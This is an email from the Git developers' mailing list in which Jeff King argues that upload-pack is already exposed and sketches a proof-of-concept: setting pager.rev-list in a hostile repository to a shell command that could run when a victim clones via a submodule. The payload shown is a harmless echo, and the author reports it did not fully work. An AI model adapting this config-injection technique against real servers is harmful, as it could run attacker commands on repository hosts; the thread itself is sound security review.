On Thu, Feb 22, 2018 at 04:44:02PM -0500, Jeff King wrote: > But I don't think it _is_ an accident waiting to happen for the rest of > the commands. upload-pack is special. The point is that people may touch > git.c thinking they are adding a nice new feature (like pager config, or > aliases, or default options, or whatever). And it _would_ be a nice new > feature for most commands, but not for upload-pack, because its > requirements are different. > > So thinking about security in the git wrapper is just a burden for those > other commands. All of that said, I think the current code is quite dangerous already, and maybe even broken. upload-pack may run sub-commands like rev-list or pack-objects, which are themselves builtins. For example: git init --bare evil.git git -C evil.git --work-tree=. commit --allow-empty -m foo git -C evil.git config pager.pack-objects 'echo >&2 oops' git clone --no-local evil.git victim That doesn't _quite_ work, because we route pack-objects' stderr into a pipe, which suppresses the pager. But we don't for rev-list, which we call when checking reachability. It's a bit tricky to get a client to trigger those for a vanilla fetch, though. Here's the best I could come up with: git init --bare evil.git git -C evil.git --work-tree=. commit --allow-empty -m one git -C evil.git config pager.rev-list 'echo >&2 oops' git init super ( cd super # obviously use host:path if you're attacking somebody over ssh git submodule add ../evil.git evil git commit -am 'add evil submodule' ) git -C evil.git config uploadpack.allowReachableSHA1InWant true git -C evil.git update-ref -d refs/heads/master git clone --recurse-submodules super victim I couldn't quite get it to work, but I think it's because I'm doing something wrong with the submodules. But I also think this attack would _have_ to be done over ssh, because on a local system the submodule clone would a hard-link rather than a real fetch. -Peff
